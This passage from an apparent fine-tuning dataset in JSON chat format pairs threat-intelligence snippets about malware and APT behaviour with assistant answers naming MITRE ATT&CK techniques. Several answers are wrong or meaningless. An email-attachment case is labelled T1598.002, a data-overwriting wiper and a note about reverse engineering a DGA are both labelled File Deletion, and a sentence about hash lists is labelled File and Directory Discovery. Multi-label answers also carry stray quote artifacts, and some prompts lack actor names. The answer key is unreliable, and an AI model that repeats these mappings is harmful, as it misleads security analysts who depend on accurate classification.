                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cardinal RAT can execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some versions of CozyCar will check to ensure it is not being executed inside a virtual machine or a known malware analysis sandbox environment. If it detects that it is, it will exit."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT3 has a tool that looks for files and directories on the local file system."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "All the strings used by the malware are encrypted and are decrypted by Rijndael symmetric encryption algorithm in the “&lt;Module&gt;.\\u200E” function. This function receives a number as an input and generates three byte arrays containing input to be decrypted, key and IV (Figure 6"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky uses memory dump programs instead of using well-known malicious software and performs the credential extraction offline. It can be used as a general process dump utility that actors can embed in other scripts, as seen by Kimsuky’s inclusion of ProcDump in the BabyShark malware. The victim is then redirected to the official Chrome Web Store page to install a Chrome extension, which has the ability to steal cookies and site passwords and loads a JavaScript file, named jQuery.js, from a separate site (see figure 3).[51(link is external"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File', 'T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Elderwood has delivered zero-day exploits and malware to victims via targeted emails containing a link to malicious content hosted on an uncommon Web server."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has searched for system version, architecture, disk partition, logical volume, and hostname information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The job of the smaller of the two JavaScripts is to establish a system autostart mechanism. It accomplishes this by deobfuscating another script, link.js, into %TMP%. Link.js in turn creates a shortcut file \"Java(TM) Platform SE Auto Updater.lnk\" in the \"Startup\" special folder pointing to the main backdoor JavaScript"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 used a malware variant called GOODLUCK to modify the registry in order to steal credentials."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can use \"net share\" to identify network shares for use in lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fox Kitten has brute forced RDP credentials."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerShower is a backdoor written in PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole has deleted files and directories including XML and files successfully uploaded to C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE stores its configuration file within the Registry."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A module in  collects information from the victim about the current user name."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has used the Xserver backdoor to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has sent malicious Office documents via email as part of spearphishing campaigns as well as executables disguised as documents."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to scan for open ports on hosts in a connected network."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has searched for unsecured AWS credentials and Docker API credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kivars has the ability to conceal its activity through hiding active windows."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Molerats decompresses ZIP files once on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Several  malware families collect information on the type and version of the victim OS, as well as the victim computer name and CPU information. A Destover-like variant used by  also collects disk space information and sends it to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We mentioned earlier that docx files (like xlsx and pptx) are part of the OOXML standard. The document defining this standard[6], describes the syntax and values that can be used as an example. An interesting file to look at is the ‘settings.xml’ file that can be discovered in the ‘Word’ container of the docx zip file. This file contains settings with regards to language, markup and more. First, we extracted all the data from the settings.xml files and started to compare. All the documents below contained the same language values"
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To confound detection, its operators recently started using PowerShell scripts that provide direct, in-memory loading and execution of malware executables and libraries. We will also present various payloads, including an RPC-based backdoor and a backdoor leveraging OneDrive as its Command and Control (C&amp;C) server. Then, it calls VirtualProtect to allow writing at the retrieved address. Patching of AmsiScanBuffer function . Payloads . The PowerShell scripts we have presented are generic components used to load various payloads, such as an RPC Backdoor and a PowerShell backdoor. RPC backdoor . Turla has developed a whole set of backdoors relying on the RPC protocol. OneDrive credentials in PowerStallion script . It is interesting to note that Turla operators used the free email provider GMX again, as in the Outlook Backdoor and in LightNeuron. Then it uses a net use command to connect to the network drive. It then checks, in a loop, as shown in Figure 12, if a command is available. Modification of MAC times of the local log file . We believe this backdoor is a recovery access tool in case the main Turla backdoors, such as Carbon or Gazer, are cleaned and operators can no longer access the compromised computers. We have seen operators use this backdoor for the following purposes: Conclusion . In a 2018 blogpost, we predicted that Turla would use more and more generic tools"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. Use malware to upload the large list of enumerated files to the C2 server. Select specific files to steal, creating a new list. Use downloaders or other malware to send the new list to a compromised host. Use archiving software to collect files in a password-protected archive. Use an uploader or other malware to send the archived files to an attacker-controlled server. The uploader software is proprietary to this group, but Datper and xxmm also contain an uploading feature. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the endpoint victim's username and uses it as a basis for downloading additional components from the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DLL side-loading has been used to execute  through a legitimate Citrix executable ssonsvr.exe which is vulnerable to the technique. The Citrix executable was dropped along with  by the dropper."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot sends the reconnaissance information from the target machine to a hardcoded C2 server. The C2 server is responsible for handling the stolen data"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete has been packed with NSIS."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the OS version, country name, MAC address, computer name, physical memory statistics, and volume information for all drives on the system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kwampirs uses a large list of C2 servers that it cycles through until a successful connection is established."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some  samples were signed with a stolen digital certificate."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat used valid accounts against remote services: Cloud-based applications utilizing federated authentication protocols. Our incident responders analysed the credentials used by the adversary and the traces of the intrusion in log files. They uncovered an obvious overlap in the credentials used by this threat and the presence of those same accounts in previously breached databases. Besides that, the traces in log files showed more than usual login attempts with a username formatted as email address, e.g. username&gt;@&lt;email domain&gt;. While usernames for legitimate logins at the victim’s network were generally formatted like &lt;domain&gt;\\&lt;username&gt;. And attempted logins came from a relative small set of IP-addresses"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery', 'T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Poseidon Group conducts credential dumping on victims, with a focus on obtaining credentials belonging to domain and database servers."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 used different compromised credentials for remote access and to move laterally."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has obfuscated DLLs and functions using dummy API calls inserted between real instructions."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee has the ability to perform anti-virtualization checks."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLEAD has the ability to execute shell commands on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay can conduct an initial scan for Microsoft Word documents on the local system, removable media, and connected network drives, before tagging and collecting them. It can continue tagging documents to collect with follow up scans."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has used tools to perform keylogging."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This technique to hijack control flow has also been used by other sophisticated attackers such as FinFisher. Lazarus has also used other novel methods to execute shellcode such as by using the function EnumSystemLocalesA as a callback to shellcode written to executable heap"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information', 'T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chrommme can use Windows API including `WinExec` for execution."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The command handler obtains a command identifier from the C2 server and adds 0xFFFFFF9B to this value and then uses a switch statement to determine the appropriate command to execute"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery', 'T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zebrocy runs the \"ipconfig /all\" command."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of taking screenshots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PACT has reverse engineered the DGA, dynamically analyzed the malware, investigated the Threat Actor’s (TA) web-based infrastructure, and consolidated the results of our analysis into the following report"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The original sample involved in the forbes.com breach used HTTP, which is consistent with the original variant discussed in this blog post. It should be noted that while the newest variant that uses direct network communication over port 22 no longer uses HTTP, references to the HTTP strings are still found within the sample itself. This is most likely due to code re-used by the attackers"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HOPLIGHT has been observed collecting system time from victim machines."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GALLIUM used Web shells to persist in victim environments and assist in execution and exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ROKRAT author implements several techniques typically seen to frustrate human analysts and avoid sandbox execution. First, the malware does not run on Windows XP systems. The code used to perform this task: The malware checks the process names in use on the victim machine. It compares if the executed process name matches a partial name hardcoded in the sample. Here is the complete list"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hashes For a list of all hashes of malware encountered during this campaign, please refer to the following file"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A module in Prikormka collects passwords stored in applications installed on the victim."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "deletes content from C2 communications that was saved to the user's temporary directory."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Most strings in USBStealer are encrypted using 3DES and XOR and reversed."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "(Source: Dell SecureWorks)  ChinaChopper web shell — A web-based executable script (see Figure 4) that allows a threat actor to execute commands on the compromised system"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee can use WMI to gather system information and to spawn processes for code injection."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has used credential stuffing against victim's remote services to obtain valid accounts."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "may save itself as a file named msdtc.exe, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These credentials are used in a credential stuffing or password spraying attack against the victim’s remote services, such as webmail or other internet reachable mail services. After obtaining a valid account, they use this account to access the victim’s VPN, Citrix or another remote service that allows access to the network of the victim. Information regarding these remotes services is taken from the mailbox, cloud drive, or other cloud resources accessible by the compromised account. As soon as they have a foothold on a system (also known as patient zero or index case), they check the permissions of the account on that system, and attempt to obtain a list of accounts with administrator privileges. With this list of administrator-accounts, the adversary performs another password spraying attack until a valid admin account is compromised. With this valid admin account, a Cobalt Strike beacon is loaded into memory of patient zero. From here on the adversary stops using the victim’s remote service to access the victim’s network, and starts using the Cobalt Strike beacon for remote access and command and control"
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has performed large-scale scans in an attempt to find vulnerable servers."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mythic supports WebSocket and TCP-based C2 profiles."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete collects stored credentials from several web browsers."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Flame can create backdoor accounts with login “HelpAssistant” on domain connected systems if appropriate rights are available."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CertPKIProvider.dll, tracked by Microsoft as “VaporRage” can best be described as a shellcode downloader. This version of VaporRage contains 11 export functions including eglGetConfigs, which houses the malicious functionality of the DLL"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang has used compromised credentials and a .NET tool to dump data from Microsoft Exchange mailboxes."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "2 contains a \"Destroy\" plug-in that destroys data stored on victim hard drives by overwriting file contents."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FinFisher takes a screenshot of the screen and displays it on top of all other windows for few seconds in an apparent attempt to hide some messages showed by the system during the setup process."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stage2.exe is a downloader for a malicious file corrupter malware. Upon execution, stage2.exe downloads the next-stage malware hosted on a Discord channel, with the download link hardcoded in the downloader. The next-stage malware can best be described as a malicious file corrupter"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bisonal has added the exfiltrated data to the URL over the C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
